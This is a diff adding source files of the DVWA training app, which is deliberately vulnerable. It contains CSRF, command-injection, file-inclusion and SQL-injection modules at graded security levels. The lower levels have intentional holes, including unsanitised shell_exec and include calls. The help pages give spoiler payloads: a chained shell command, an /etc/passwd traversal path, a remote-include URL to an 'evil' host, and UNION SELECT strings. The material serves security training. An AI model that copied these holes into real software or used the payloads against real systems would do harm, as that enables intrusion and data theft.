+$page[ 'title' ]   = 'Vulnerability: Cross Site Request Forgery (CSRF)' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'csrf';
+$page[ 'help_button' ]   = 'csrf';
+$page[ 'source_button' ] = 'csrf';
+
+dvwaDatabaseConnect();
+
+$vulnerabilityFile = '';
+switch( $_COOKIE[ 'security' ] ) {
+	case 'low':
+		$vulnerabilityFile = 'low.php';
+		break;
+	case 'medium':
+		$vulnerabilityFile = 'medium.php';
+		break;
+	case 'high':
+		$vulnerabilityFile = 'high.php';
+		break;
+	default:
+		$vulnerabilityFile = 'impossible.php';
+		break;
+}
+
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/csrf/source/{$vulnerabilityFile}";
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: Cross Site Request Forgery (CSRF)</h1>
+
+	<div class=\"vulnerable_code_area\">
+		<h3>Change your admin password:</h3>
+		<br />
+
+		<form action=\"#\" method=\"GET\">";
+
+if( $vulnerabilityFile == 'impossible.php' ) {
+	$page[ 'body' ] .= "
+			Current password:<br />
+			<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_current\"><br />";
+}
+
+$page[ 'body' ] .= "
+			New password:<br />
+			<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_new\"><br />
+			Confirm new password:<br />
+			<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_conf\"><br />
+			<br />
+			<input type=\"submit\" value=\"Change\" name=\"Change\">\n";
+
+if( $vulnerabilityFile == 'high.php' || $vulnerabilityFile == 'impossible.php' )
+	$page[ 'body' ] .= "			" . tokenField();
+
+$page[ 'body' ] .= "
+		</form>
+		{$html}
+	</div>
+
+	<h2>More Information</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-Site_Request_Forgery' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.cgisecurity.com/csrf-faq.html' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Cross-site_request_forgery ' ) . "</li>
+	</ul>
+</div>\n";
+
+dvwaHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/csrf/source/high.php

@@ -0,0 +1,35 @@
+<?php
+
+if( isset( $_GET[ 'Change' ] ) ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+	// Get input
+	$pass_new  = $_GET[ 'password_new' ];
+	$pass_conf = $_GET[ 'password_conf' ];
+
+	// Do the passwords match?
+	if( $pass_new == $pass_conf ) {
+		// They do!
+		$pass_new = mysql_real_escape_string( $pass_new );
+		$pass_new = md5( $pass_new );
+
+		// Update the database
+		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
+		$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+		// Feedback for the user
+		$html .= "<pre>Password Changed.</pre>";
+	}
+	else {
+		// Issue with passwords matching
+		$html .= "<pre>Passwords did not match.</pre>";
+	}
+
+	mysql_close();
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/csrf/source/impossible.php

@@ -0,0 +1,48 @@
+<?php
+
+if( isset( $_GET[ 'Change' ] ) ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+	// Get input
+	$pass_curr = $_GET[ 'password_current' ];
+	$pass_new  = $_GET[ 'password_new' ];
+	$pass_conf = $_GET[ 'password_conf' ];
+
+	// Sanitise current password input
+	$pass_curr = stripslashes( $pass_curr );
+	$pass_curr = mysql_real_escape_string( $pass_curr );
+	$pass_curr = md5( $pass_curr );
+
+	// Check that the current password is correct
+	$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
+	$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
+	$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
+	$data->execute();
+
+	// Do both new passwords match and does the current password match the user?
+	if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
+		// It does!
+		$pass_new = stripslashes( $pass_new );
+		$pass_new = mysql_real_escape_string( $pass_new );
+		$pass_new = md5( $pass_new );
+
+		// Update database with new password
+		$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
+		$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
+		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
+		$data->execute();
+
+		// Feedback for the user
+		$html .= "<pre>Password Changed.</pre>";
+	}
+	else {
+		// Issue with passwords matching
+		$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
+	}
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/csrf/source/low.php

@@ -0,0 +1,29 @@
+<?php
+
+if( isset( $_GET[ 'Change' ] ) ) {
+	// Get input
+	$pass_new  = $_GET[ 'password_new' ];
+	$pass_conf = $_GET[ 'password_conf' ];
+
+	// Do the passwords match?
+	if( $pass_new == $pass_conf ) {
+		// They do!
+		$pass_new = mysql_real_escape_string( $pass_new );
+		$pass_new = md5( $pass_new );
+
+		// Update the database
+		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
+		$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+		// Feedback for the user
+		$html .= "<pre>Password Changed.</pre>";
+	}
+	else {
+		// Issue with passwords matching
+		$html .= "<pre>Passwords did not match.</pre>";
+	}
+
+	mysql_close();
+}
+
+?>

dvwa/vulnerabilities/csrf/source/medium.php

@@ -0,0 +1,36 @@
+<?php
+
+if( isset( $_GET[ 'Change' ] ) ) {
+	// Checks to see where the request came from
+	if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
+		// Get input
+		$pass_new  = $_GET[ 'password_new' ];
+		$pass_conf = $_GET[ 'password_conf' ];
+
+		// Do the passwords match?
+		if( $pass_new == $pass_conf ) {
+			// They do!
+			$pass_new = mysql_real_escape_string( $pass_new );
+			$pass_new = md5( $pass_new );
+
+			// Update the database
+			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
+			$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+			// Feedback for the user
+			$html .= "<pre>Password Changed.</pre>";
+		}
+		else {
+			// Issue with passwords matching
+			$html .= "<pre>Passwords did not match.</pre>";
+		}
+	}
+	else {
+		// Didn't come from a trusted source
+		$html .= "<pre>That request didn't look correct.</pre>";
+	}
+
+	mysql_close();
+}
+
+?>

dvwa/vulnerabilities/exec/help/help.php

@@ -0,0 +1,62 @@
+<div class="body_padded">
+	<h1>Help - Command Injection</h1>
+
+	<div id="code">
+	<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
+	<tr>
+	<td><div id="code">
+		<h3>About</h3>
+		<p>The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application.
+			In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it
+			as any authorized system user. However, commands are executed with the same privileges and environment as the web service has.</p>
+
+		<p>Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker
+			(forms, cookies, HTTP headers etc.).</p>
+
+		<p>The syntax and commands may differ between the Operating Systems (OS), such as Linux and Windows, depending on their desired actions.</p>
+
+		<p>This attack may also be called "Remote Command Execution (RCE)".</p>
+
+		<br /><hr /><br />
+
+		<h3>Objective</h3>
+		<p>Remotely, find out the user of the web service on the OS, as well as the machines hostname via RCE.</p>
+
+		<br /><hr /><br />
+
+		<h3>Low Level</h3>
+		<p>This allows for direct input into one of <u>many PHP functions</u> that will execute commands on the OS. It is possible to escape out of the designed command and
+			executed unintentional actions.</p>
+		<p>This can be done by adding on to the request, "once the command has executed successfully, run this command".
+		<pre>Spoiler: <span class="spoiler">To add a command "&&"</span>. Example: <span class="spoiler">127.0.0.1 && dir</span>.</pre>
+
+		<br />
+
+		<h3>Medium Level</h3>
+		<p>The developer has read up on some of the issues with command injection, and placed in various pattern patching to filter the input. However, this isn't enough.</p>
+		<p>Various other system syntaxes can be used to break out of the desired command.</p>
+		<pre>Spoiler: <span class="spoiler">e.g. background the ping command</span>.</pre>
+
+		<br />
+
+		<h3>High Level</h3>
+		<p>In the high level, the developer goes back to the drawing board and puts in even more pattern to match. But even this isn't enough.</p>
+		<p>The developer has either made a slight typo with the filters and believes a certain PHP command will save them from this mistake.</p>
+		<pre>Spoiler: <span class="spoiler"><?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.trim.php', 'trim()' ); ?>
+			removes all leading & trailing spaces, right?</span>.</pre>
+
+		<br />
+
+		<h3>Impossible Level</h3>
+		<p>In the impossible level, the challenge has been re-written, only to allow a very stricted input. If this doesn't match and doesn't produce a certain result,
+			it will not be allowed to execute. Rather than "black listing" filtering (allowing any input and removing unwanted), this uses "white listing" (only allow certain values).</p>
+	</div></td>
+	</tr>
+	</table>
+
+	</div>
+
+	<br />
+
+	<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Command_Injection' ); ?></p>
+</div>

dvwa/vulnerabilities/exec/index.php

@@ -0,0 +1,67 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ]   = 'Vulnerability: Command Injection' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'exec';
+$page[ 'help_button' ]   = 'exec';
+$page[ 'source_button' ] = 'exec';
+
+dvwaDatabaseConnect();
+
+$vulnerabilityFile = '';
+switch( $_COOKIE[ 'security' ] ) {
+	case 'low':
+		$vulnerabilityFile = 'low.php';
+		break;
+	case 'medium':
+		$vulnerabilityFile = 'medium.php';
+		break;
+	case 'high':
+		$vulnerabilityFile = 'high.php';
+		break;
+	default:
+		$vulnerabilityFile = 'impossible.php';
+		break;
+}
+
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/exec/source/{$vulnerabilityFile}";
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: Command Injection</h1>
+
+	<div class=\"vulnerable_code_area\">
+		<h2>Ping a device</h2>
+
+		<form name=\"ping\" action=\"#\" method=\"post\">
+			<p>
+				Enter an IP address:
+				<input type=\"text\" name=\"ip\" size=\"30\">
+				<input type=\"submit\" name=\"Submit\" value=\"Submit\">
+			</p>\n";
+
+if( $vulnerabilityFile == 'impossible.php' )
+	$page[ 'body' ] .= "			" . tokenField();
+
+$page[ 'body' ] .= "
+		</form>
+		{$html}
+	</div>
+
+	<h2>More Information</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.ss64.com/bash/' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.ss64.com/nt/' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Command_Injection' ) . "</li>
+	</ul>
+</div>\n";
+
+dvwaHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/exec/source/high.php

@@ -0,0 +1,37 @@
+<?php
+
+if( isset( $_POST[ 'Submit' ]  ) ) {
+	// Get input
+	$target = trim($_REQUEST[ 'ip' ]);
+
+	// Set blacklist
+	$substitutions = array(
+		'&'  => '',
+		';'  => '',
+		'| ' => '',
+		'-'  => '',
+		'$'  => '',
+		'('  => '',
+		')'  => '',
+		'`'  => '',
+		'||' => '',
+	);
+
+	// Remove any of the charactars in the array (blacklist).
+	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
+
+	// Determine OS and execute the ping command.
+	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
+		// Windows
+		$cmd = shell_exec( 'ping  ' . $target );
+	}
+	else {
+		// *nix
+		$cmd = shell_exec( 'ping  -c 4 ' . $target );
+	}
+
+	// Feedback for the end user
+	$html .= "<pre>{$cmd}</pre>";
+}
+
+?>

dvwa/vulnerabilities/exec/source/impossible.php

@@ -0,0 +1,41 @@
+<?php
+
+if( isset( $_POST[ 'Submit' ]  ) ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+	// Get input
+	$target = $_REQUEST[ 'ip' ];
+	$target = stripslashes( $target );
+
+	// Split the IP into 4 octects
+	$octet = explode( ".", $target );
+
+	// Check IF each octet is an integer
+	if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
+		// If all 4 octets are int's put the IP back together.
+		$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
+
+		// Determine OS and execute the ping command.
+		if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
+			// Windows
+			$cmd = shell_exec( 'ping  ' . $target );
+		}
+		else {
+			// *nix
+			$cmd = shell_exec( 'ping  -c 4 ' . $target );
+		}
+
+		// Feedback for the end user
+		$html .= "<pre>{$cmd}</pre>";
+	}
+	else {
+		// Ops. Let the user name theres a mistake
+		$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
+	}
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/exec/source/low.php

@@ -0,0 +1,21 @@
+<?php
+
+if( isset( $_POST[ 'Submit' ]  ) ) {
+	// Get input
+	$target = $_REQUEST[ 'ip' ];
+
+	// Determine OS and execute the ping command.
+	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
+		// Windows
+		$cmd = shell_exec( 'ping  ' . $target );
+	}
+	else {
+		// *nix
+		$cmd = shell_exec( 'ping  -c 4 ' . $target );
+	}
+
+	// Feedback for the end user
+	$html .= "<pre>{$cmd}</pre>";
+}
+
+?>

dvwa/vulnerabilities/exec/source/medium.php

@@ -0,0 +1,30 @@
+<?php
+
+if( isset( $_POST[ 'Submit' ]  ) ) {
+	// Get input
+	$target = $_REQUEST[ 'ip' ];
+
+	// Set blacklist
+	$substitutions = array(
+		'&&' => '',
+		';'  => '',
+	);
+
+	// Remove any of the charactars in the array (blacklist).
+	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
+
+	// Determine OS and execute the ping command.
+	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
+		// Windows
+		$cmd = shell_exec( 'ping  ' . $target );
+	}
+	else {
+		// *nix
+		$cmd = shell_exec( 'ping  -c 4 ' . $target );
+	}
+
+	// Feedback for the end user
+	$html .= "<pre>{$cmd}</pre>";
+}
+
+?>

dvwa/vulnerabilities/fi/file1.php

@@ -0,0 +1,21 @@
+<?php
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: File Inclusion</h1>
+	<div class=\"vulnerable_code_area\">
+		<h3>File 1</h3>
+		<hr />
+		Hello <em>" . dvwaCurrentUser() . "</em><br />
+		Your IP address is: <em>{$_SERVER[ 'REMOTE_ADDR' ]}</em><br /><br />
+		[<em><a href=\"?page=include.php\">back</a></em>]
+	</div>
+
+	<h2>More info</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Top_10_2007-A3' ) . "</li>
+	</ul>
+</div>\n";
+
+?>

dvwa/vulnerabilities/fi/file2.php

@@ -0,0 +1,19 @@
+<?php
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: File Inclusion</h1>
+	<div class=\"vulnerable_code_area\">
+		<h3>File 2</h3>
+		<hr />
+		\"<em>I needed a password eight characters long so I picked Snow White and the Seven Dwarves.</em>\" ~ Nick Helm<br /><br />
+		[<em><a href=\"?page=include.php\">back</a></em>]	</div>
+
+	<h2>More info</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Top_10_2007-A3' ) . "</li>
+	</ul>
+</div>\n";
+
+?>

dvwa/vulnerabilities/fi/file3.php

@@ -0,0 +1,29 @@
+<?php
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: File Inclusion</h1>
+	<div class=\"vulnerable_code_area\">
+		<h3>File 3</h3>
+		<hr />
+		Welcome back <em>" . dvwaCurrentUser() . "</em><br />
+		Your IP address is: <em>";
+if( array_key_exists( 'HTTP_X_FORWARDED_FOR', $_SERVER ))
+	$page[ 'body' ] .= $_SERVER[ 'HTTP_X_FORWARDED_FOR' ];
+else
+	$page[ 'body' ] .= "**Missing Header**";
+$page[ 'body' ] .= "</em><br />
+		Your user-agent address is: <em>{$_SERVER[ 'HTTP_USER_AGENT' ]}</em><br />
+		You came form: <em>{$_SERVER[ 'HTTP_REFERER' ]}</em><br />
+		I'm hosted at: <em>{$_SERVER[ 'HTTP_HOST' ]}</em><br /><br />
+		[<em><a href=\"?page=include.php\">back</a></em>]
+	</div>
+
+	<h2>More info</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Top_10_2007-A3' ) . "</li>
+	</ul>
+</div>\n";
+
+?>

dvwa/vulnerabilities/fi/file4.php

@@ -0,0 +1,14 @@
+<?php
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: File Inclusion</h1>
+	<div class=\"vulnerable_code_area\">
+		<h3>File 4 (Hidden)</h3>
+		<hr />
+		Good job!<br />
+		This file isn't listed at all on DVWA. If you are reading this, you did something right ;-)<br />
+		<!-- You did an even better job to see this :-)! -->
+</div>\n";
+
+?>

dvwa/vulnerabilities/fi/help/help.php

@@ -0,0 +1,63 @@
+<div class="body_padded">
+	<h1>Help - File Inclusion</h1>
+
+	<div id="code">
+	<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
+	<tr>
+	<td><div id="code">
+		<h3>About</h3>
+		<p>Some web applications allow the user to specify input that is used directly into file streams or allows the user to upload files to the server.
+			At a later time the web application accesses the user supplied input in the web applications context. By doing this, the web application is allowing
+			the potential for malicious file execution.</p>
+
+		<p>If the file chosen to be included is local on the target machine, it is called "Local File Inclusion (LFI). But files may also be included on other
+			machines, which then the attack is a "Remote File Inclusion (RFI).</p>
+
+		<p>When RFI is not an option. using another vulnerability with LFI (such as file upload and directory traversal) can often achieve the same effect.</p>
+
+		<p>Note, the term "file inclusion" is not the same as "arbitrary file access" or "file disclosure".</p>
+
+		<br /><hr /><br />
+
+		<h3>Objective</h3>
+		<p>Read all five famous quotes from '<a href="../hackable/flags/fi.php">../hackable/flags/fi.php</a>' using only the file inclusion.</p>
+
+		<br /><hr /><br />
+
+		<h3>Low Level</h3>
+		<p>This allows for direct input into <u>one of many PHP functions</u> that will include the content when executing.</p>
+
+		<p>Depending on the web service configuration will depend if RFI is a possibility.</p>
+		<pre>Spoiler: <span class="spoiler">LFI: ?page=../../../../../../etc/passwd</span>.
+			Spoiler: <span class="spoiler">RFI: ?page=http://www.evilsite.com/evil.php</span>.</pre>
+
+		<br />
+
+		<h3>Medium Level</h3>
+		<p>The developer has read up on some of the issues with LFI/RFI, and decided to filter the input. However, the patterns that are used, isn't enough.</p>
+		<pre>Spoiler: <span class="spoiler">LFI: Possible, due to it only cycling through the pattern matching once</span>.
+			Spoiler: <span class="spoiler">RFI: <?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/wrappers.php', 'PHP Streams' ); ?></span>.</pre>
+
+		<br />
+
+		<h3>High Level</h3>
+		<p>The developer has had enough. They decided to only allow certain files to be used. However as there are multiple files with the same basename,
+			they use a wildcard to include them all.</p>
+		<pre>Spoiler: <span class="spoiler">LFI: The filename only has start with a certain value.</span>.
+			Spoiler: <span class="spoiler">RFI: Need to link in another vulnerability, such as file upload</span>.</pre>
+
+		<br />
+
+		<h3>Impossible Level</h3>
+		<p>The developer calls it quits and hardcodes only the allowed pages, with there exact filenames. By doing this, it removes all avenues of attack.</p>
+	</div></td>
+	</tr>
+	</table>
+
+	</div>
+
+	<br />
+
+	<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Top_10_2007-A3' ); ?></p>
+
+</div>

dvwa/vulnerabilities/fi/include.php

@@ -0,0 +1,30 @@
+<?php
+
+// Check if the right PHP functions are enabled
+$WarningHtml = '';
+if( !ini_get( 'allow_url_include' ) ) {
+	$WarningHtml .= "<div class=\"warning\">The PHP function <em>allow_url_include</em> is not enabled.</div>";
+}
+if( !ini_get( 'allow_url_fopen' ) ) {
+	$WarningHtml .= "<div class=\"warning\">The PHP function <em>allow_url_fopen</em> is not enabled.</div>";
+}
+
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: File Inclusion</h1>
+
+	{$WarningHtml}
+
+	<div class=\"vulnerable_code_area\">
+		[<em><a href=\"?page=file1.php\">file1.php</a></em>] - [<em><a href=\"?page=file2.php\">file2.php</a></em>] - [<em><a href=\"?page=file3.php\">file3.php</a></em>]
+	</div>
+
+	<h2>More Information</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Top_10_2007-A3' ) . "</li>
+	</ul>
+</div>\n";
+
+?>

dvwa/vulnerabilities/fi/index.php

@@ -0,0 +1,44 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ]   = 'Vulnerability: File Inclusion' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'fi';
+$page[ 'help_button' ]   = 'fi';
+$page[ 'source_button' ] = 'fi';
+
+dvwaDatabaseConnect();
+
+$vulnerabilityFile = '';
+switch( $_COOKIE[ 'security' ] ) {
+	case 'low':
+		$vulnerabilityFile = 'low.php';
+		break;
+	case 'medium':
+		$vulnerabilityFile = 'medium.php';
+		break;
+	case 'high':
+		$vulnerabilityFile = 'high.php';
+		break;
+	default:
+		$vulnerabilityFile = 'impossible.php';
+		break;
+}
+
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/fi/source/{$vulnerabilityFile}";
+
+// if( count( $_GET ) )
+if( isset( $file ) )
+	include( $file );
+else {
+	header( 'Location:?page=include.php' );
+	exit;
+}
+
+dvwaHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/fi/source/high.php

@@ -0,0 +1,13 @@
+<?php
+
+// The page we wish to display
+$file = $_GET[ 'page' ];
+
+// Input validation
+if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
+	// This isn't the page we want!
+	echo "ERROR: File not found!";
+	exit;
+}
+
+?>

dvwa/vulnerabilities/fi/source/impossible.php

@@ -0,0 +1,13 @@
+<?php
+
+// The page we wish to display
+$file = $_GET[ 'page' ];
+
+// Only allow include.php or file{1..3}.php
+if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
+	// This isn't the page we want!
+	echo "ERROR: File not found!";
+	exit;
+}
+
+?>

dvwa/vulnerabilities/fi/source/low.php

@@ -0,0 +1,6 @@
+<?php
+
+// The page we wish to display
+$file = $_GET[ 'page' ];
+
+?>

dvwa/vulnerabilities/fi/source/medium.php

@@ -0,0 +1,10 @@
+<?php
+
+// The page we wish to display
+$file = $_GET[ 'page' ];
+
+// Input validation
+$file = str_replace( array( "http://", "https://" ), "", $file );
+$file = str_replace( array( "../", "..\"" ), "", $file );
+
+?>

dvwa/vulnerabilities/sqli/help/help.php

@@ -0,0 +1,60 @@
+<div class="body_padded">
+	<h1>Help - SQL Injection</h1>
+
+	<div id="code">
+	<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
+	<tr>
+	<td><div id="code">
+		<h3>About</h3>
+		<p>A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.
+			A successful SQL injection exploit can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database
+			(such as shutdown the DBMS), recover the content of a given file present on the DBMS file system (load_file) and in some cases issue commands to the operating system.</p>
+
+		<p>SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.</p>
+
+		<p>This attack may also be called "SQLi".</p>
+
+		<br /><hr /><br />
+
+		<h3>Objective</h3>
+		<p>There are 5 users in the database, with id's from 1 to 5. Your mission... to steal their passwords via SQLi.</p>
+
+		<br /><hr /><br />
+
+		<h3>Low Level</h3>
+		<p>The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are able
+			to execute any SQL query they wish.</p>
+		<pre>Spoiler: <span class="spoiler">?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit</span>.</pre>
+
+		<br />
+
+		<h3>Medium Level</h3>
+		<p>The medium level uses a form of SQL injection protection, with the function of
+			"<?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.mysql-real-escape-string.php', 'mysql_real_escape_string()' ); ?>".
+			However due to the SQL query not having quotes around the parameter, this will not fully protect the query from being altered.</p>
+
+		<p>The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form.</p>
+		<pre>Spoiler: <span class="spoiler">?id=a UNION SELECT 1,2;-- -&Submit=Submit</span>.</pre>
+
+		<br />
+
+		<h3>High Level</h3>
+		<p>This is very similar to the low level, however this time the attacker is inputting the value in a different manner.
+			The input values are being transferred to the vulnerable query via session variables using another page, rather than a direct GET request.</p>
+		<pre>Spoiler: <span class="spoiler">ID: a' UNION SELECT "text1","text2";-- -&Submit=Submit</span>.</pre>
+
+		<br />
+
+		<h3>Impossible Level</h3>
+		<p>The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer,
+			and has distinguish which sections are code, and the rest is data.</p>
+	</div></td>
+	</tr>
+	</table>
+
+	</div>
+
+	<br />
+
+	<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/SQL_Injection' ); ?></p>
+</div>

dvwa/vulnerabilities/sqli/index.php

@@ -0,0 +1,99 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ]   = 'Vulnerability: SQL Injection' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'sqli';
+$page[ 'help_button' ]   = 'sqli';
+$page[ 'source_button' ] = 'sqli';
+
+dvwaDatabaseConnect();
+
+$method            = 'GET';
+$vulnerabilityFile = '';
+switch( $_COOKIE[ 'security' ] ) {
+	case 'low':
+		$vulnerabilityFile = 'low.php';
+		break;
+	case 'medium':
+		$vulnerabilityFile = 'medium.php';
+		$method = 'POST';
+		break;
+	case 'high':
+		$vulnerabilityFile = 'high.php';
+		break;
+	default:
+		$vulnerabilityFile = 'impossible.php';
+		break;
+}
+
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli/source/{$vulnerabilityFile}";
+
+// Is PHP function magic_quotee enabled?
+$WarningHtml = '';
+if( ini_get( 'magic_quotes_gpc' ) == true ) {
+	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
+}
+// Is PHP function safe_mode enabled?
+if( ini_get( 'safe_mode' ) == true ) {
+	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
+}
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: SQL Injection</h1>
+
+	{$WarningHtml}
+
+	<div class=\"vulnerable_code_area\">";
+if( $vulnerabilityFile == 'high.php' ) {
+	$page[ 'body' ] .= "Click <a href=\"#\" onClick=\"javascript:popUp('session-input.php');return false;\">here to change your ID</a>.";
+}
+else {
+	$page[ 'body' ] .= "
+		<form action=\"#\" method=\"{$method}\">
+			<p>
+				User ID:";
+	if( $vulnerabilityFile == 'medium.php' ) {
+		$page[ 'body' ] .= "\n				<select name=\"id\">";
+		$query  = "SELECT COUNT(*) FROM users;";
+		$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
+		$num    = mysql_result( $result, 0 );
+		$i      = 0;
+		while( $i < $num ) { $i++; $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
+		$page[ 'body' ] .= "</select>";
+	}
+	else
+		$page[ 'body' ] .= "\n				<input type=\"text\" size=\"15\" name=\"id\">";
+
+	$page[ 'body' ] .= "\n				<input type=\"submit\" name=\"Submit\" value=\"Submit\">
+			</p>\n";
+
+	if( $vulnerabilityFile == 'impossible.php' )
